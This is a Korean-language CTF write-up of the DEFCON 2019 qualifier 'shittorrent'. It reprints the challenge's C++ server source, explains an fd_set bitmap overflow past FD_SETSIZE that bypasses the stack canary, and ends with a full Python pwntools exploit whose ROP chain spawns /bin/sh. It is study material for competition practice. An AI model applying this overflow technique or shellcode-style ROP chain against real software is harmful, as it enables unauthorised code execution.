2020년 DEFCON ctf 대비 스터디를 하면서 2019년 qualification round 문제들을 리뷰하기로 했다.

관련 리소스들은 o-o-overflow github에 공개되어 있다.

 

이번에 리뷰할 문제는 shittorrent라는 문제이다. 구글링을 좀 하다 보니, github에 exploit코드가 공개된게 있기는 했다만, write-up은 따로 없어서 이번에 공부하면서 정리해보고자 한다.

익스코드는 Ruby로 작성되어있었다. 신기하게도 pwntools가 ruby 버전으로도 있었다. 파이썬 버전만 있는 줄 알았는데..

 

문제 개요

실제 대회때 당시에는 소스코드가 공개되어있었는지는 모르겠는데, o-o-overflow에 공개된 리소스에는 소스코드가 제공되어있다.

코드가 단일 파일 치고는 다소 기므로, 접은글로 표현해놓았다.

 

더보기
#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <stdlib.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/socket.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <string.h>
#include <vector>
#include <arpa/inet.h>
#include <algorithm>

/* globals */
fd_set *rfds;
int lastfd;
std::vector<int> listeners;
std::vector<int> admins;

int vhasele(std::vector<int> v, int ele) {
	if(std::find(v.begin(), v.end(), ele) != v.end()) {
		return 1; // has it
	} else {
		return 0; // doesn't have it
	}
}

void vremove(std::vector<int> v, int ele) {
	v.erase(std::remove(v.begin(), v.end(), ele), v.end());
}

void setfdlimit() {
	struct rlimit fdlimit;
	long limit;
	limit = 65536;
	fdlimit.rlim_cur = limit;
	fdlimit.rlim_max = limit;
	setrlimit(RLIMIT_NOFILE, &fdlimit);
	FD_ZERO(rfds);
}

void nobuf() {
	setvbuf(stdout, NULL, _IONBF, 0);
	setvbuf(stderr, NULL, _IONBF, 0);
	setvbuf(stdin, NULL, _IONBF, 0);
}

void intro() {
	puts("simple hybrid infrastructure torrent");
	puts("enable simple distribution of files among your fleet of machines");
	puts("used by it department the world over");
}

void printmenu() {
	puts("《SHITorrent 》management console");
	puts("[a]dd pc to manage");
	puts("[r]emove pc from fleet");
	puts("[w]ork");
	puts("[q]uit");
	puts("[g]et flag");
}

int add_node() {
	char hostname[100] = {0};
	char portstr[100] = {0};
	int port = 0;
	puts("enter host");
	read(0, hostname, 99);
	if(hostname[strlen(hostname) - 1] == '\n') {
		hostname[strlen(hostname) - 1] = '\x00';
	}
	puts("enter port");
	read(0, portstr, 99);
	port = atoi(portstr);

	struct sockaddr_in address;
	int sock = 0, valread;
	struct sockaddr_in serv_addr;
	char *hello = "SHITorrent HELO\n";
	char buffer[1024] = {0};
	if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
		printf("\n Socket creation error \n");
		return -1;
	}

	memset(&serv_addr, '0', sizeof(serv_addr));

	serv_addr.sin_family = AF_INET;
	serv_addr.sin_port = htons(port);

	// Convert IPv4 and IPv6 addresses from text to binary form
	if(inet_pton(AF_INET, hostname, &serv_addr.sin_addr)<=0) {
		printf("\nInvalid address/ Address not supported \n");
		return -1;
	}

	if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {
		printf("\nConnection Failed \n");
		return -1;
	}
	send(sock , hello , strlen(hello) , 0 );
	valread = read( sock , buffer, 1024);
	if (strncmp("TORADMIN", buffer, strlen("TORADMIN"))) {
		listeners.push_back(sock);
		printf("added listener node %d\n", sock);
	} else {
		admins.push_back(sock);
		FD_SET(sock, rfds);
		printf("added sending node %d\n", sock);
	}
	if (sock > lastfd) {
		lastfd = sock;
	}
	return 0;
}

void remove_node() {
	char buf[256];
	read(0, buf, 255);
	int bufno = atoi(buf);
	if (bufno > 2 && bufno <= lastfd) {
		close(bufno);
	}
	if (vhasele(listeners, bufno)) {
		vremove(listeners, bufno);
	}
	if (vhasele(admins, bufno)) {
		vremove(admins, bufno);
		if (FD_ISSET(bufno, rfds)) {
			FD_CLR(bufno, rfds);
		}
	}
}

void dispatch_it(int fd) {
	printf("dispatching from %d\n", fd);
	char *buf = (char *)calloc(1, 4096);
	int sz = read(fd, buf, 4096);
	printf("getting %s\n", buf);
	for (int i = 0; i < listeners.size(); i++) {
		write(listeners[i], buf, sz);
	}
	free(buf);
}

void workit() {
	struct timeval tv;
	tv.tv_sec = 5;
	tv.tv_usec = 0;

	int retval = select(FD_SETSIZE, rfds, NULL, NULL, &tv);
	// Don't rely on the value of tv now!

	if (retval) {
		puts("DEBUG: ready to send out the data");
		// FD_ISSET(0, &rfds) will be true.
		for (int i = 3; i < lastfd; i++) {
			if (FD_ISSET(i, rfds)) {
				dispatch_it(i);
				return;
			}
		}
	} else {
		printf("no data within 5 seconds quitting");
		exit(0);
	}
}

void notmain() {
	for(;;) {
		char buf[2];
		printmenu();
		read(0, buf, 2);
		switch(buf[0]) {
			case 'a':
				{
					add_node();
				}
				break;
			case 'r':
				{
					remove_node();
				}
				break;
			case 'w':
				{
					workit();
				}
				break;
			case 'q':
				{
					return;
				}
				break;
			case 'g':
				{
					puts("lol, just kidding");
				}
				break;
			default:
				{
					puts("not supported");
				}
				break;
		}
	}
}

int main(int argc, char **argv) {
	fd_set fds;
	rfds = &fds;
	lastfd = 2;
	setfdlimit();
	nobuf();
	intro();
	notmain();
	return 0;
}

 

C++로 작성된 서버코드이다. 클라이언트 입장에서는 ip와 port를 넘겨준 뒤, 서버에서 접속을 시도하면 적절한 값을 리턴해서 admin모드이거나 일반 user 모드로 등록이 가능하다.

 

미티게이션

checksec으로 확인해보면 아래와 같이 나타난다.

 

NX가 활성화 되어 있고, 스택 까나리가 적용되어 있다.

 

취약점

소스코드를 보면 잘 모르는 자료구조와, 매크로 함수가 보이는데 fd_set, FD_SET, FD_ZERO, FD_ISSET, FD_CLR 이런 녀석들이다.

 

여기서 FD는 File descriptor의 약자라고 한다. 이 함수들과 자료구조는 여러개의 소캣들을 열어서 connection을 맺어 놓은 상태에서 관리하기 위해 존재한다고 한다.

 

소캣 fd를 bitmap 자료구조로 관리하는 거라고 한다. 만약 3번 소캣을 사용중이면 FD_SET(fd_set, 3) 이런식으로 해서 3번 비트를 1로 만들고, FD_CLR(fd_set, 3)이런 식으로해서 3번 비트를 0으로 되돌리는 방식으로 소캣들의 사용 유무를 관리할 수 있다고 한다.

 

그래서 총 1024개의 소캣들을 관리할 수 있는데, 즉 fd_set의 자료구조는 1024bit의 크기를 갖는다.

 

리눅스 시스템에서 man fd_set 명령어로 관련 매뉴얼을 읽어볼 수 있다.

 

매뉴얼에서 Notes를 보면, 다음과 같은 구문들이 있다.


An fd_set is a fixed size buffer. Executing FD_CLR() or FD_SET() with a value of fd that is negative or is equal to or larger than FD_SETSIZE will result in undefined behavior. Moreover, POSIX requires fd to be a valid file descriptor.


fd_set는 고정 크기의 버퍼이므로, FD_SETSIZE를 넘는 값으로 FD_SET, FD_CLR 등을 호출하는 것은 Undefined behaivro이다. 라고 써있다.  바로 여기서 취약점이 나타난다.

 

FD_SETSIZE는 일반적으로 1024이며, 주어진 바이너리에서도 1024이다.

 

fd_set 자료구조를 보면 main context의 지역변수로 들어가게 되고, FD_CLR, FD_SET의 함수는 소캣 연결의 제한이 별도로 있지는 않다. (2^16이 제한인 듯 하다)

 

이를 이용해서 buffer overflow가 나타나게 된다.

 

mitigation들을 체크해보면 nx도 걸려있으므로, ROP chain을 구성해서 exploit을 하면 될 듯 하다.

 

익스플로잇

일단 익스플로잇을 하기 위해서는 서버단에서 접속이 가능한 ip와 port로 적절한 서비스를 열고 있어야 간편하다. 

 

서비스 등록

서비스를 등록하기 위해서 간단한 프로그램을 작성해서 컴파일을 하였다.

#include <stdio.h>
int main(int argc, char *argv[]) {
  char s[100];
  read(0, s, 16);
  if(strstr(argv[0], "lis") != NULL)
    write(1, "meow", 4);
  else
    write(1, "TORADMIN", 8);
  return 0;
}

하나는 파일명을 lis로 해서 meow를 리턴하는 normal user용 node로 두고, 남은 하나는 파일명을 peer로 해서 TORADMIN을 리턴하는 admin user용 node로 만들어 두겠다.

 

서비스 등록은 xinetd를 설치해서 설정하면 되겠다.

 

/etc/xinetd.d/defcon1 파일과 /etc/xinetd.d/defcon2 파일에 아래와 같이 각각 설정을 해준다.

 

/etc/xinetd.d/defcon1

/etc/xinetd.d/defcon2

 

그리고 아래 명령어를 실행해서 /etc/services 의 마지막 줄에 항목을 추가해준다.

xinetd 서비스를 재시작해주면 반영이 된다.

 

이제 nc 127.0.0.1 10001 나 nc 127.0.0.1 10002 명령어를 실행해서 잘 동작하는지 확인할 수 있다.

 

스택 카나리 우회

바이너리에 스택 카나리가 있긴 하지만 일반 유저로 node를 추가하면 fd만 값이 증가하고, fd_set은 건드리지 않게 되므로, 스택 카나리가 있는 부분을 뛰어넘고 return address를 overwrite가 가능하다.

 

ulimit 설정

로컬에서 실행을 하는데, 바이너리에 ulimit을 설정하는 부분이 있긴 하지만, 한번씩 동작을 하지 않는 것 같으므로 수동으로 커맨드라인에서 설정해줄 필요가 있다.

그리고 이 설정값은 터미널 마다 다르게 되므로 만약 새 터미널에서 서버 바이너리를 실행하게 된다면 다시 설정해주어야 한다.

 

$ ulimit -a

명령어로 최대 열 수 있는 파일 크기를 확인할 수 있다.

$ ulimit -n 60000

와 같은 명령어로 적당히 큰 수로 열 수 있는 파일 개수를 늘려준다.

 

오프셋 계산

바이너리를 disassemble 해 보면, main context는 위와 같다. 401743을 보면 rbp-0x90에 rfds 주소값이 있는 것을 알 수 있다. 그리고 401774를 보면 카나리는 rbp-0x8에 있다.

따라서 아래와 같은 스택프레임이 구성이 된다는 것을 알 수 있다.

 

그러면 ret addr 직전까지는 normal user node로 dummy값 fd를 증가시키고, 그 이후에는 fd_set을 이용해서 return address부터 값을 변조할 수 있게 된다.

이후 rop chain을 구성해서 exploit을 하면 된다.

 

로컬 익스플로잇시 sleep

로컬 서비스를 너무 빠르게 요청을 주면 xinetd 서비스에서 간혹 Connection Refused를 주는 경우가 있다. 이를 방지하기 위해서 0.04초 정도는 sleep을 해 주는 것이 좋다. 이것 때문에 익스플로잇의 실행 시간이 좀 더 들긴 하는데, 어쩔수없다.

 

 

익스플로잇 코드

Full exploit 코드이다. python3 + pwntools로 작성해보았다.

 

#!/usr/bin/env python3

from pwn import *
import time, sys

NORMAL_SERVICE_PORT = 10001
ADMIN_SERVICE_PORT = 10002
REST_QUANT=0.04

p = process('./shitorrent')


def add_node(host, port):
    global p
    msg = p.recvuntil('rrent')
    if b"Failed" in msg or b"not" in msg:
        print ("Failed....{}".format(msg))
        p.close()
        sys.exit()
    p.recvuntil('et flag')
    p.sendline('a')
    p.recvuntil('enter host')
    p.send(host.ljust(99, "\x00"))
    p.recvuntil('enter port')
    p.send(str(port).ljust(9, "\x00"))

def add_normal():
    add_node("127.0.0.1", NORMAL_SERVICE_PORT)
def add_admin():
    add_node("127.0.0.1", ADMIN_SERVICE_PORT)

def remove_node(fd):
    # print ("remove_node({})".format(fd))
    global p
    p.recvuntil('et flag')
    p.sendline('r')
    p.send(str(fd).ljust(255, "\x00"))

fd = 1216
rop = [
  0x0000000000407888, # pop rsi ; ret
  0x00000000006da0e0, # @ .data
  0x00000000004657fc, # pop rax ; ret
  u64(b'/bin//sh'),
  0x00000000004055c1, # mov qword ptr [rsi], rax ; ret
  0x0000000000407888, # pop rsi ; ret
  0x00000000006da0e8, # @ .data + 8
  0x0000000000460b90, # xor rax, rax ; ret
  0x00000000004055c1, # mov qword ptr [rsi], rax ; ret
  0x0000000000400706, # pop rdi ; ret
  0x00000000006da0e0, # @ .data
  0x0000000000407888, # pop rsi ; ret
  0x00000000006da0e8, # @ .data + 8
  0x0000000000465855, # pop rdx ; ret
  0x00000000006da0e8, # @ .data + 8
  0x00000000004657fc, # pop rax ; ret
  0x3b,
  0x0000000000490ec5, # syscall
  0xdeaddeadbeef
]


print ("start attach padding")
for i in range(3, 1216):
    if i % 101 == 100:
        print ("padding progress .... [{}/{}]".format(i, 1216))
    sleep(REST_QUANT)
    # print ("add normal {}".format(i))
    add_normal()

print("start to fill")
for i in range(0, 64 * len(rop)):
    if i % 101 == 100:
        print ("Fill bit progress .... [{}/{}]".format(i, 64*len(rop)))
    sleep(REST_QUANT)
    # print ("add admin {}".format(i))
    add_admin()

print ("Filling finished!")
print (p.recvuntil("et flag"))
p.sendline("g")
print (p.recvuntil("kidding"))
#input("#")
print("removing...")
for i, word in enumerate(rop):
    binary = bin(word)[2:].rjust(64, '0')[::-1]
    print (hex(word) + ": " + binary)
    print ("Removing.... [{}/{}]".format(i, len(rop)))
    for bit in binary:
        if bit == '0':
            sleep(REST_QUANT)
            remove_node(fd)
        fd=fd+1
    #input('#')

p.recvuntil('et flag')
p.sendline('q')
print("Execute shell!")
p.interactive()
p.close()

 

자료와 코드들은 깃헙에도 두었으므로 필요시 참고하면 괜찮을것 같다.

-----------------------------------------------------------------------------------------------

https://github.com/Einstrasse/ctf-practice/tree/master/2019-defcon-qual/shitorrent

https://linux.die.net/man/3/fd_set

https://blog.naver.com/tipsware/220810795410

https://github.com/o-o-overflow/dc2019q-shitorrent

https://github.com/david942j/ctf-writeups/blob/master/defcon-quals-2019/shitorrent/shitorrent.rb

 

+ Recent posts